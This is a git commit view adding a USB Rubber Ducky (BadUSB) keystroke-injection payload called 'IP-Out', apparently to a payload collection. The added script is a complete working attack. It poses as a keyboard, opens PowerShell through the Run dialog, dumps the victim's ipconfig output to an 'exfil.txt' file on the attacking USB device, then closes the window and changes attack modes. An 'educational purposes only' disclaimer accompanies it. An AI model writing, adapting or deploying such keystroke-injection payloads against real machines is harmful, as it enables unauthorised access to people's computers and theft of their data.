Create payload.txt

Added IP-Out Ducky payload
pull/481/head
Mavis Coffey 2024-09-20 08:25:58 -07:00 committed by GitHub
parent 8073d4d9cd
commit 6ad0b7836c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 21 additions and 0 deletions

View File

@ -0,0 +1,21 @@
REM Title: IP-Out
REM Author: Mavis Coffey
REM Description: Opens a powershell window and prints the current IP of the device to a text file in the BadUSB
REM Target: Any Windows System
REM DISCLAIMER!!! Neither I, nor Hack5, condone any unethical hacking practices using this payload... FOR EDUCATIONAL PURPOSES ONLY
ATTACKMODE HID STORAGE
DELAY 500
GUI r
DELAY 300
STRING Powershell
ENTER
DELAY 1000
STRING ipconfig | Out-File -Filepath D:\exfil.txt -Encoding utf8
ENTER
WAIT_FOR_STORAGE_ACTIVITY
WAIT_FOR_STORAGE_INACTIVITY
ALT F4
ATTACKMODE OFF
REM And should the attacker want to make sure the payload was successful:
WAIT_FOR_BUTTON_PRESS
ATTACKMODE STORAGE